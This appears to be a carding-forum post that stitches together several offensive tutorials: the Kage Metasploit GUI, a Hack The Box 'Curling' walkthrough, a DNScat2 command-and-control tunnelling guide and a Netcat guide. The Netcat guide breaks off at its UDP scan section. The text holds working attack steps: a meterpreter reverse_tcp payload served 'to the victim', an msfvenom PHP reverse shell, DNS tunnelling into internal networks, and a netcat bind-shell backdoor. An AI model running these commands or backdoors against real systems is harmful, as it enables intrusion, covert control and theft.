![[Image: 18.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-pIZCvMxn1yU/XKtjDQmlqNI/AAAAAAAAd3Y/7-1dREhbtFgTQjhZ3QHhyPpwYhC4DB5qgCLcBGAs/s1600/18.png?w=687&ssl=1)
Kage is a GUI for Metasploit RCP servers. It is a good tool for beginners to understand the working of Metasploit as it generates payload and lets you interact with sessions. As this tool is on the process of developing until now it only supports windows/meterpreter and android/meterpreter. For it to work, you should have Metasploit installed in your system. The only dependency it requires is npm.
Installation
Use the following git command to install the kage software :
git clone //github.com/WayzDev/Kage.git
1
git clone //github.com/WayzDev/Kage.git
![[Image: 1.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-yXcpK1Vzl-M/XKYspITpAwI/AAAAAAAAd1c/Xdxk8wktkoMlkNCtyrud96Te8MAor0UXACLcBGAs/s1600/1.png?w=687)
Go inside the kage folder and install nmp with the following command :
apt-get install npm
1
apt-get install npm
![[Image: 2.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-zRzpJ3ouYbg/XKYsrcBxhTI/AAAAAAAAd10/Pc0pJWIBcxQnzGXnUelaYFdovi6Y6b92gCLcBGAs/s1600/2.png?w=687)
Further, use the following command :
npm install
1
npm install
![[Image: 3.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-IFciG6plLT0/XKYsrRRpC0I/AAAAAAAAd14/Qa0EBN7cSMkrOCN9Z-Dd_uBjGCvX2Lt_wCLcBGAs/s1600/3.png?w=687)
And then run it with the following command :
npm run dev
1
npm run dev
![[Image: 4.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-s0O1Cxz8C-g/XKYsr_VSQ3I/AAAAAAAAd18/Q4cDnEZjQ5Ugw5o4tO7iAtOYSpKPiFxMQCLcBGAs/s1600/4.png?w=687)
Once all the perquisites are done, the kage will run. Click on the start server button as shown in the image below :
![[Image: 5.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-FEW45Btfwwk/XKYssT9K5II/AAAAAAAAd2E/eVf3uGA7f_Qt3ZEgT_gLytsAXEWObzcEQCLcBGAs/s1600/5.png?w=687)
The server will start running. Once all the process is done, click on the close button as shown in the image below :
![[Image: 6.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-_3EceagGr4Y/XKYssT0dTaI/AAAAAAAAd2A/UYxX86sJFewlTwNwwywiPrnls4uvQ57-QCLcBGAs/s1600/6.png?w=687)
After click on the close button, it will automatically take all the details, and then you can click on the connect button to connect as shown in the image below :
![[Image: 7.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-16byoPsir_8/XKYsshcipLI/AAAAAAAAd2I/oW1HpW2J14E1xkL5LWHebWkk-iuzRg-XQCLcBGAs/s1600/7.png?w=687)
Once you are connected, it will show you the following windows :
![[Image: 8.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-18DIOBC1UKs/XKYstIyk-4I/AAAAAAAAd2M/nuOFGrxgZXk9_vrNH7-eRKVs8s12oLzEACLcBGAs/s1600/8.png?w=687)
Under the heading payload generator, you can give all the details such as file name (kage.exe), payload (windows/meterpreter/reverse_tcp), lhost (192.168.1.9), lport (5252) and then click on generate.
![[Image: 9.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-P7gErAB0Xnc/XKYstTJnUOI/AAAAAAAAd2Q/VlFZE2bLRq0VKDzXexHAnLaY6xgqoD5xQCLcBGAs/s1600/9.png?w=687)
After clicking on generate, it will create a new folder named kage (with small k), here, run python server so that you can share your malware with the victim. To run the python server, type :
python -m SimplpeHTTPServer 80
1
python -m SimplpeHTTPServer 80
![[Image: 10.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-MSUsVKq6l5w/XKYso--FI2I/AAAAAAAAd1Y/y_0rt8zjx74ndObRDsv2RirZaiuVaOU0ACLcBGAs/s1600/10.png?w=687)
Once the file is shared and executed, it will show the following details under the jobs heading :
![[Image: 14.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-0hJxm0IKIWk/XKYspA3KfoI/AAAAAAAAd1g/NNcxs9-M6loPZgeTC53WwzXbuFcMu4tnQCLcBGAs/s1600/14.png?w=687)
And when you go the sessions window through the dashboard, you will find a new session that has been created. Click on interact button to access the session.
![[Image: 15.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-aZ0iUC90Vtk/XKYsp3MmHkI/AAAAAAAAd1k/t4wc5Jcsn2se2ocnMIXoErF6F2mC8Vt7wCLcBGAs/s1600/15.png?w=687)
After clicking on the interact button, the following window will open. Here, the first tab will show you all the information about the system.
![[Image: 16.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-t4GVQyW8gu4/XKYsqeomYJI/AAAAAAAAd1o/qKU5tcShEkM9uVOGKcB1nPjDTIAuMejewCLcBGAs/s1600/16.png?w=687)
The second tab will show you all the processes that are running on the victim’s PC.
![[Image: 17.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-Vgd7GwCdk84/XKYsqmOgfBI/AAAAAAAAd1s/eRQXYIOlQXMGjofekdHQoZWrkKxcX-EWwCLcBGAs/s1600/17.png?w=687)
And the third tab will give you all the information about its network. Here, you can use three commands through buttons provided and i.e. ifconfig, netstat, route, as shown in the image below :
![[Image: 18.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-00fkmOZblus/XKYsqq6BY2I/AAAAAAAAd1w/XaBnt9WvB50E_fTrjiw5p-8UA6FrCufVwCLcBGAs/s1600/18.png?w=687)
Today we are going to solve another CTF challenge “Curling”. It is a retired vulnerable lab presented by Hack the Box for helping pentesters to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Intermediate
Task: To find user.txt and root.txt file
Note: Since these labs are online available therefore they have a static IP. The IP of Curling is 10.10.10.150
Penetrating Methodology- Network scanning (Nmap)
- Surfing the IP address on the browser
- Finding Secret View Page Source
- Decoding Secret
- Enumerating Joomla!
- Creating Payload using msfvenom
- Getting Meterpreter Session
- Enumerate and Extract password files
- Getting SSH Session
- Grab User Flag
- Enumerate for Root Flag
- Getting the root flag
Walkthrough
Let’s start off with our basic Nmap command to find out the open ports and services.
nmap -sV -sC -T4 -p- 10.10.10.150
1
nmap -sV -sC -T4 -p- 10.10.10.150
![[Image: 1.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-GggnWd0ZAlw/XKWf-kxugtI/AAAAAAAAdz4/P8EPf2eLI9cd9SoGrJB2crRatAg3MsIkQCLcBGAs/s1600/1.png?w=687)
The Nmap scan shows 2 open ports: 22(SSH), 80(HTTP)
As port 80 is running HTTP service, we open the IP address in the web browser.
![[Image: 2.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-Hvz6gsh5oLE/XKWgBgOZlnI/AAAAAAAAd0c/SKukLzu4t0ElGvtB4ZY1cbo9mjIMszBAQCLcBGAs/s1600/2.png?w=687)
Here, we found two usernames Floris & Super User. They might come in handy later on. Let’s view the Page source of the webpage.
![[Image: 3.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-avDO5Upq0mE/XKWgCGan-rI/AAAAAAAAd0g/JNiSM-lXvj8kvLkQZ0xd8gghYKZEct2cACLcBGAs/s1600/3.png?w=687)
Let’s open the secret.txt in the browser. It displayed a base64 encoded string.
![[Image: 4.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-leZykQDOb5k/XKWgC8u33DI/AAAAAAAAd0k/pyqntSpyNIYdfsjIeGfV71vseC7FWePuwCLcBGAs/s1600/4.png?w=687)
Time to decode this base64 encoded string. So, on decoding it we got Curling2018! This can be used as a credential.
echo "Q3VybGluZzIwMTgh" | base64 -d
1
echo "Q3VybGluZzIwMTgh" | base64 -d
![[Image: 5.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-EwzWxxUfUwY/XKWgDYKE7pI/AAAAAAAAd0o/3EFL49TDqf4zlOElpU8wItqnxcyXlfqJwCLcBGAs/s1600/5.png?w=687)
Due to previous experience with Joomla! We already knew about its administrator login page. Not wasting our time we directly opened /administrator directory in the browser along with the credentials.
Username- Floris
Password- Curling2018!
![[Image: 6.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-2mfxt-74yQM/XKWgDa_o6vI/AAAAAAAAd0s/u34YHqBy6e0a7baLZ4odGZvgeRjNJN20QCLcBGAs/s1600/6.png?w=687)
We have successfully logged in.
![[Image: 7.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-3Is-bPENCrc/XKWgDhVfz5I/AAAAAAAAd0w/RMAYrVRBovYxr1COJO7Q0-Tio988J-GqQCLcBGAs/s1600/7.png?w=687)
We have created a PHP shell payload using msfvenom.
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.120 lport=443 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.120 lport=443 -f raw
![[Image: 8.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-5mGbZMWlt1c/XKWgD8oN6aI/AAAAAAAAd00/cQfSdHwgH18MWRu2V8UM6c4FGmVn8KfyQCLcBGAs/s1600/8.png?w=687)
On the other hand, we have setup listening using Metasploit-framework.
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost tun0
msf exploit(multi/handler) > set lport 443
msf exploit(multi/handler) > run
1
2
3
4
5
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost tun0
msf exploit(multi/handler) > set lport 443
msf exploit(multi/handler) > run
![[Image: 9.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-67XOzzhVT74/XKWgEJCfQPI/AAAAAAAAd04/Z_Bj-b23DPgYU4cIRE5ZGkCFWAunEIhrgCLcBGAs/s1600/9.png?w=687)
Let’s try to upload php reverse shell script which we have created using msfvenom. Let’s first navigate to /template/protostar/ on the webpage.
![[Image: 10.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-idd864ldKII/XKWf-pMz63I/AAAAAAAAdz0/wDDwoeUhdas0InyIKPOXrP4zRSGfELlWwCLcBGAs/s1600/10.png?w=687)
Finally, we have got the meterpreter.
![[Image: 11.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-tVFNtjbukok/XKWf-fTK97I/AAAAAAAAdzw/ugJ9QuJd_P8zLU1juOucMLC75CZUIh3yQCLcBGAs/s1600/11.png?w=687)
We got the reverse shell, but it is not a proper shell. We will spawn a tty shell using python.
shell
python3 -c "import pty;pty.spawn('/bin/bash')"
1
2
shell
python3 -c "import pty;pty.spawn('/bin/bash')"
![[Image: 12.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-1USMHM1t8NE/XKWf_L8yRBI/AAAAAAAAdz8/tV8SJUB7il8GqyW6Fg2Lah52EZi70qsUgCLcBGAs/s1600/12.png?w=687)
After enumerating through directories, we found a useful file password_backup. Let’s check its contents. The contents of this file look like hexdump.
ls -al
cat password_backup
1
2
ls -al
cat password_backup
![[Image: 13.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-mESC4btXeMk/XKWf_V5xDNI/AAAAAAAAd0A/TwImxC9GW74_btU98JLfjbDMnU-NO-SfgCLcBGAs/s1600/13.png?w=687)
Let’s use an xxd tool which is used to create hex dump of the given file or standard input. On decompressing the file we saw the author of the machine has recursively compressed the password_backup file. We need to recursively decompress it.
xxd -r password_backup > password
file password
mv password password.bz2
bzip2 -d password.bz2
ls
file password
mv password password.gz
gzip -d password.gz
ls
file password
mv password password.bz2
bzip2 -d password bz2
ls
mv password password.tar
tar xvf password.tar
cat password.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
xxd -r password_backup > password
file password
mv password password.bz2
bzip2 -d password.bz2
ls
file password
mv password password.gz
gzip -d password.gz
ls
file password
mv password password.bz2
bzip2 -d password bz2
ls
mv password password.tar
tar xvf password.tar
cat password.txt
The content found in password.txt might be the password to login into SSH. Let’s find out if our intuition is true or not.
![[Image: 14.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-ctIIkEN0U1s/XKWf_tWA7XI/AAAAAAAAd0E/dSZDxMsv_go8vaYK_zTn8-pLz1N9HkS4QCLcBGAs/s1600/14.png?w=687)
We have successfully logged into SSH using the password found in password.txt.
ssh [email protected]
1
ssh [email protected]
On exploring, we found User.txt and read its contents.
ls
cat user.txt
1
2
ls
cat user.txt
![[Image: 16.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-g8mFTmOQ1-I/XKWgAYOLKrI/AAAAAAAAd0M/KvEgAbRumk8s1jKXc50h8jY4_f9HexLOgCLcBGAs/s1600/16.png?w=687)
On further enumerating, we found two files input & report in the admin-area folder. Let’s read the contents of both the files.
cat input
wc -l report
1
2
cat input
wc -l report
![[Image: 17.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-ctFuwnPR8DA/XKWgAqBQ1NI/AAAAAAAAd0U/DSIuIuYXnosMc6Hn_JFYLGLJFCWB1dFFgCLcBGAs/s1600/17.png?w=687)
After sometime of thinking, we thought of changing the content of the input file using echo.
ls -al
echo "file:///root/root.txt" > input
1
2
ls -al
echo "file:///root/root.txt" > input
![[Image: 18.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-dMg4nwEU7bM/XKWgApN3PKI/AAAAAAAAd0Q/S3SOfQvHKYMBwifuUhj-OJe9yfw87RzSACLcBGAs/s1600/18.png?w=687)
It took us time to think about it. We did this because we knew our final flag is inside /root/root/txt. And also came to know the output of the input file will be saved in the report file.
Now after some time when we opened the report file. We found our Final Flag and read its contents.
wc -l report
cat report
1
2
wc -l report
cat report
![[Image: 19.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-6T65Ycio5EE/XKWgBGN4icI/AAAAAAAAd0Y/RM-M4PjrdKMvPHjmBHXJX9OGVKFZMQMZwCLcBGAs/s1600/19.png?w=687)
In this article, we learn DNS tunneling through an amazing tool i.e. DNScat2
Table of Content :- Introduction to DNS
- Introduction to DNScat
- Installation
- DNS tunneling
- Conclusion
Introduction to DNS
The Domain Name System (DNS) associate’s URLs with their IP address. With DNS, it’s conceivable to type words rather than a series of numbers into a browser, enabling individuals to look for sites and send messages utilizing commonplace names. When you look for the domain name in a browser, it sends a question over to the DNS server to coordinate the domain with its IP. When found, it utilizes the IP to recover the site’s content. Most astonishingly, this entire procedure takes just milliseconds. For all this working, it uses port 53.
Introduction to DNScat
DNScat is such praised tool because it can create a command and control tunnel over the DNS protocol which lets an attacker work in stealth mode. You can access any data along with uploading and downloading files and to get a shell. For this tool to work over 53 port, you don’t need to have authoritative access to DNS server, you can just simply establish your connection over port 53 and it will be faster and it will still be sensed as usual traffic. But it makes its presence well known in the packet log.
DNScat is made of two components i.e. a server and a client. To know the working of dnscat, it is important to understand both of these components.
The client is intended to be kept running on a target machine. It’s written in C and has the least amount of the prerequisites. When you run the client, you regularly indicate a domain name. All packets will be sent to the local DNS server, which is then directed to the legitimate DNS server for that domain (which you, apparently, have control of).
The server is intended to be kept running on a definitive DNS server. It’s developed in ruby and relies upon a few distinct gems. When you run it, much like the client, you indicate from which domain(s) it listens to over 53. When it gets traffic for one of those domains, it endeavours to set up a legitimate association. It gets other traffic it will automatically disregard it but, however, it can also advance it upstream.
Installation
Run the following git command to download dnscat2 :
git clone //github.com/iagox86/dnscat2.git
1
git clone //github.com/iagox86/dnscat2.git
![[Image: 1.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-ILD6O2iFW30/XKObfNsLklI/AAAAAAAAdyU/9993mig-C34d54JV1viY3meoE1ESu5JZACLcBGAs/s1600/1.png?w=687)
Now install bundler as it is a major dependency for dnscat2. To install bundler go into the server of dnscat2 and type :
gem install bundler
bundle install
1
2
gem install bundler
bundle install
![[Image: 2.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-HAMrmncIV6Q/XKObh0yO46I/AAAAAAAAdyw/Q1RQUNYTh2kE-bgPRuiuTI7y6-WmJLLTwCLcBGAs/s1600/2.png?w=687)
Once everything is done, the server will run with the following command :
ruby dnscat2.rb
1
ruby dnscat2.rb
![[Image: 3.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-FXoFrS8OJpk/XKObiYINPBI/AAAAAAAAdy4/i_3ybYx49vEkewxcfoI8QVh6By2GY8TYwCLcBGAs/s1600/3.png?w=687)
Similarly, download dnscat2 in the client machine too. And use make command to compile it with the server, as shown in the image below :
![[Image: 4.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-fLW0Fym1W6I/XKObi7y3dwI/AAAAAAAAdy8/HFq9pjpMq4w-gdLNH2ALkQfxo_ql8U2OACLcBGAs/s1600/4.png?w=687)
To establish a connection between client and server, use the following command :
./dnscat2 --dns-server=192.168.174.131,port=53
1
./dnscat2 --dns-server=192.168.174.131,port=53
![[Image: 5.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-6F1FCxK_Wjc/XKObjCNJMKI/AAAAAAAAdzA/LxsQTqUBwsM0tyVXUwM1OvnU0uakoeAUgCLcBGAs/s1600/5.png?w=687)
Once the connection is established, you can see on the server side that you will have a session as shown in the image below. You can use the command ‘sessions’ to check for a session that is created.
![[Image: 6.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-iH066hS8mkc/XKObja1qfLI/AAAAAAAAdzE/y6abUw_Aj5kymECmdxU84UMRqZ1hXliygCLcBGAs/s1600/6.png?w=687)
To interact with the said session type the following command :
session -i 1
1
session -i 1
As you can access the session now, use the word ‘ping’ to ping the target and if it replies ‘Pong!’ then you ping is successful.
![[Image: 7.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-to0mqkOn07M/XKObkP8kT0I/AAAAAAAAdzI/5CZYVHFHxVkT0GBasSHtGvRjEcYWCNvvwCLcBGAs/s1600/7.png?w=687)
Following will be the response on the client side of the ping command.
![[Image: 8.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-fNwZ8qCwDDU/XKObkB4EAgI/AAAAAAAAdzM/7x9OPDYTgGEmcPbXfEkbcMbb3Rr6Ef5aQCLcBGAs/s1600/8.png?w=687)
Further will the help command you can see all the options that we can use to our advantage. If you want to go to the shell then just type ‘shell’ and it will open a new window with the session to interact with the shell of the target system.
![[Image: 9.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-ApSrCbY-zT8/XKObkWQDbtI/AAAAAAAAdzQ/f3DA53iNVrwFsGojczNub2BE0iGj16F-gCLcBGAs/s1600/9.png?w=687)
To interact with the shell session that is opened in a new terminal, type following set of commands :
windows
session -i 2
1
2
windows
session -i 2
![[Image: 10.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-178YqcizlVY/XKObfea5X6I/AAAAAAAAdyY/Y-LUFYvP6VApOG33YM6kwlFpmM5IjSnuACLcBGAs/s1600/10.png?w=687)
Once you are in the session, you can execute any shell command like ‘uname -a’ as shown in the image above.
DNS Tunnelling
DNS tunnelling is the best attack through DNScat2. If through ifconfig you find two networks in your target system, as shown in the image below, you can easily perform DNS tunnelling.
![[Image: 11.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-vZUjx2_v_QA/XKObfcnImEI/AAAAAAAAdyc/8KLPkurUyJkwOY8yiQK-jF9EmamyUC4VQCLcBGAs/s1600/11.png?w=687)
For DNS tunnelling, type the following command :
listen 127.0.0.1:888 10.0.0.10:22
1
listen 127.0.0.1:888 10.0.0.10:22
![[Image: 12.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-Yean_d4DAJs/XKObgZw4X7I/AAAAAAAAdyg/Dq7W36BuJ_MsrGOXo8eQza0lKpes-TBqgCLcBGAs/s1600/12.png?w=687)
Now you can try and connect to the SSH port with the following command :
ssh [email protected] -p 888
1
ssh [email protected] -p 888
Then, once connected, you can use ‘ifconfig’ command to see the network you have tunnelled for as shown in the following image :
![[Image: 13.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-Lc4mvmFh4zI/XKObgsqp-DI/AAAAAAAAdyo/dHq3YzSRLdAJo22mMMPSwv2uR_Pd0xpJACLcBGAs/s1600/13.png?w=687)
As you have SSH control of the second network too, you can download DNScat2 in the said network too, in order to attack that network as well. Once you have downloaded DNScat2 in that network, type the following command to run it and have your session on the DNScat2 server :
dnscat2.exe --dns=server=192.168.174.131,port=53
1
dnscat2.exe --dns=server=192.168.174.131,port=53
![[Image: 14.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-2VVvGisBQiI/XKObgnAWmoI/AAAAAAAAdyk/rfgV0tgkI8wNGgapVgA8tNxgqU-iYu0bACLcBGAs/s1600/14.png?w=687)
Once the above command is executed, you will have a new session that you can access with the following set of commands :
sessions
session -i 2
1
2
sessions
session -i 2
And once you have access to the session, you can run any command.
![[Image: 15.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-hS23tC-0Me8/XKObhbTPB4I/AAAAAAAAdys/6sM1DU2W7OErJiZc4GHeRB7QtbFsZ11sACLcBGAs/s1600/15.png?w=687)
And when further you use the systeminfo command, it will show you the details of the second system that you have gotten the access of through tunnelling.
![[Image: 16.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-ft96Wreb4jQ/XKObh69WHDI/AAAAAAAAdy0/R-qCQg2uaIY6UJQYAUAr9cskFATOWkJyQCLcBGAs/s1600/16.png?w=687)
Conclusion
Even in the most confined situations, DNS traffic ought to be permitted to determine inner or outside network. This can be utilized as a correspondence channel between an objective host and the command and control server. Command and information are contained inside DNS inquiries and identification that is why detection is troublesome since arbitrary command hides in plain sight due it being perceived as legitimate traffic. And this is exactly what DNSCat takes advantage of, making it a successful tool to attack.
|
|
|
|
| [Guide] How to Comprehensive Guide on Netcat |
|
Posted by: NINZA - 05-14-2020, 11:58 AM - Forum: Carders Home
- No Replies
|
 |
This article will provide you with the basic guide of Netcat and how to get a session from it using different methods.
Table of Contents:
- Introduction
- Features
- Getting start with NC
- Connecting to a Server
- Fetching HTTP header
- Chatting
- Creating a Backdoor
- Verbose Mode
- Save Output to Disk
- Port Scanning
- TCP Delay Scan
- UDP Scan
- Reverse TCP Shell Exploitation
- Randomize Port
- File Transfer
- Reverse Netcat Shell Exploitation
- Banner grabbing
Introduction to Netcat
Netcat or nc is a utility tool that uses TCP and UDP connections to read and write in a network. It can be used for both attacking and security. In the case of attacking, it can be driven by scripts which makes it quite dependable back-end. and if we talk about security, it helps us to debug the network along with investing it.
Features
- Act as a simple TCP/UDP/SCTP/SSL client for interacting with web servers, telnet servers, mail servers, and other TCP/IP network services. Often the best way to understand a service (for fixing problems, finding security flaws, or testing custom commands) is to interact with it using Netcat. This lets you control every character sent and view the raw, unfiltered responses.
- Redirect or proxy TCP/UDP/SCTP traffic to other ports or hosts. This can be done using simple redirection (everything sent to a port is automatically relayed somewhere else you specify in advance) or by acting as a SOCKS or HTTP proxy so clients specify their own destinations. In client mode, Netcat can connect to destinations through a chain of anonymous or authenticated proxies.
- Run on all major operating systems. We distribute Linux, Windows, and Mac OS X binaries, and Netcat compiles on most other systems. A trusted tool must be available whenever you need it, no matter what computer you’re using.
- Encrypt communication with SSL, and transport it over IPv4 or IPv6.
- Act as a network gateway for execution of system commands, with I/O redirected to the network. It was designed to work like the Unix utility cat, but for the network.
- Act as a connection broker, allowing two (or far more) clients to connect to each other through a third (brokering) server. This enables multiple machines hidden behind NAT gateways to communicate with each other, and also enables the simple Netcat chat mode.
Getting start with NC
To start NC, the most basic option we can use the help command. This will show us all the options that we can use with Netcat. The help command is the following one :
nc -h
1
nc -h
![[Image: 1.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-FCRziMOktAU/XKJELF5pefI/AAAAAAAAdwo/yfKGfPtFsocd0H0aFmnDhps9oQd2l7MzQCLcBGAs/s1600/1.png?w=687)
Connecting to a Server
Here, we have connected FTP Server with the IP Address 192.168.1.6. To connect to the server at a specific port where a particular service running. In our case, the port is 21 i.e. FTP.
Syntax: nc [Target IP Address] [Target Port]
nc 192.168.1.6 21
1
nc 192.168.1.6 21
As we can see in the given image, we have vsFTPd installed on the server, and after giving the Login credentials we have successfully logged in the FTP Server.
![[Image: 2.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-cDeP_ErlBNE/XKJEO48SG2I/AAAAAAAAdxM/CzN2G1bin3IjjFQNM4flz-q3WwF7P0DyQCLcBGAs/s1600/2.png?w=687)
Fetching HTTP header
We can use netcat to fetch information about any webserver. Let’s get back to the server we connected to earlier. It also has HTTP service running on port 80. So, we connected to HTTP service using netcat as we did earlier. Now after connecting to the server, we use the option that will give us the header along with the source code of the HTTP service running on the remote server.
nc 192.168.1.6 80
HEAD/HTTP/1.0
1
2
nc 192.168.1.6 80
HEAD/HTTP/1.0
As we can see in the given image that the header and source code is displayed through the netcat connection.
![[Image: 3.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-99gHjIwFUdc/XKJEQVuo6CI/AAAAAAAAdxc/N0955oP_rcYfd17EwQKEzjHWpmFG2djQgCLcBGAs/s1600/3.png?w=687)
Chatting
Netcat can also be used to chat between two users. We need to establish a connection before chatting. To do this we are going to need two devices. One will play the role of initiator and one will be a listener to start the conversation and so once the connection is established, communication can be done from both ends. Here we are going to create a scenario of chatting between two users with the different operating system.
User 1
OS: Windows 10
IP Address: 192.168.1.4
Role: Listener
User 2
OS: Kali Linux
IP Address: 192.168.1.35
Role: Initiator
Now in each and every scenario, regarding netcat. This step is prominent. First, we will have to create a listener. We will use the following command to create a listener:
nc -lvvp 4444
1
nc -lvvp 4444
where,
[-l]: Listen Mode
[vv]: Verbose Mode {It can be used once, but we use twice to be more verbose}
[p]: Local Port
![[Image: 5.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/--ssyFylG33w/XKJEQ3zUa6I/AAAAAAAAdxk/isRI1qy3gVQwamwoOrJvpatNFqvTzMXbgCLcBGAs/s1600/5.png?w=687)
Now, it’s time to create an initiator, for this we will just provide the IP Address of the System where we started the Listener followed by the port number.
NOTE: Use the same port to create an initiator which was used in creating listener
nc 192.168.1.4 4444
1
nc 192.168.1.4 4444
![[Image: 4.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-Mm_3rbcwFM4/XKJEQ4uv6zI/AAAAAAAAdxg/Em4B1VUGObEe7a4XYNRMSIW0MVhLZdLJwCLcBGAs/s1600/4.png?w=687)
Creating a Backdoor
We can also create a backdoor using NC. To create a backdoor on the target system that we can come back to at any time. Command for attacking a Linux System.
nc -l -p 2222 -e /bin/bash
1
nc -l -p 2222 -e /bin/bash
![[Image: 6.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-N0UFGpHd0b8/XKJERdRmHgI/AAAAAAAAdxo/ZNQpJ3TijJUnhFT9M39g_v1DxHrDqIbHgCLcBGAs/s1600/6.png?w=687)
This will open a listener on the system that will pipe the command shell or the Linux bash shell to the connecting system.
nc 192.168.1.35 2222
1
nc 192.168.1.35 2222
![[Image: 7.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-LNAthLAw-wM/XKJER6ZGkXI/AAAAAAAAdxs/woKFgzSgzKM1BdInf2xcqAhGhU7yqe07ACLcBGAs/s1600/7.png?w=687)
Verbose Mode
In netcat, Verbose is a mode which can be initiated using [-v] parameter. Now verbose mode generates extended information. Basically, we will connect to a server using netcat two times to see the difference between normal and verbose mode. In the image given below, we can see that when we add [-v] to the netcat command it displays the information about the process that its performance while connecting to the server.
nc 192.168.1.6 21 -v
1
nc 192.168.1.6 21 -v
![[Image: 8.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-OLF1lLyxU8g/XKJESbBljkI/AAAAAAAAdxw/JWRJ0tB-mK0XUEwWPSbm4uq63kI7136CACLcBGAs/s1600/8.png?w=687)
Save Output to Disk
For the purpose of the record maintenance, better readability and future references, we will save the output of the Netcat. To do this we will use the parameter -o of the Netcat to save the output in the text file.
nc 192.168.1.6 21 -v -o /root/output.txt
1
nc 192.168.1.6 21 -v -o /root/output.txt
Now that we have successfully executed the command, now let’s traverse to the location to ensure whether the output has been saved on the file or not. In this case, our location for output is /root /output.txt.
![[Image: 9.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-ryOiNRgW_qI/XKJESQYgV4I/AAAAAAAAdx0/cJM80Q-xaqQP469OuOCoczxtyuky60MuACLcBGAs/s1600/9.png?w=687)
Port Scanning
Netcat can be used as a port scanner although it was not designed to function as one. To work as a port scanner, we use the [-z] parameter. It tells netcat to scan listing daemon without sending any data. This makes it possible for netcat to understand the type of service that is running on that specific port. Netcat can perform TCP and UDP scan.
TCP Scan
nc -v -n -z -w 2 192.168.1.6 21-1100
1
nc -v -n -z -w 2 192.168.1.6 21-1100
Here,- [-v]: indicates Verbose mode
- [-n]: indicates numeric-only IP addresses
- [-z]: indicates zero -I/O mode [used for scanning]
- [-w]: indicates timeout for connects and final net reads
Also, to perform a port scan netcat needs a range of port numbers. We can provide a range of ports to scan.
From the given image we can see that the target machine has lots of ports open with various services running on them.
nc -v -n -z -w 2 192.168.1.6 21-1100
1
nc -v -n -z -w 2 192.168.1.6 21-1100
![[Image: 11.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-YCM6zXEcgIA/XKJELFRxwSI/AAAAAAAAdwk/AM-GRKi6HLg_MwRlyTPBT4vxel1K0LOjQCLcBGAs/s1600/11.png?w=687)
TCP Delay Scan
In order to not to be noisy in an environment, it is recommended to use a delayed scan. Now to perform a delayed scan, we need to specify the delay. We will use the [-i] parameter to specify the delay in sending the next packet in seconds.
nc -z -v -i 10 192.168.1.6 21-80
1
nc -z -v -i 10 192.168.1.6 21-80
![[Image: 13.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-yX_7tIJ6Dxw/XKJEMgI4HrI/AAAAAAAAdww/UtYpJD-o70kakiCnCTC5P4HbPr5zl1X7ACLcBGAs/s1600/13.png?w=687)
UDP Scan
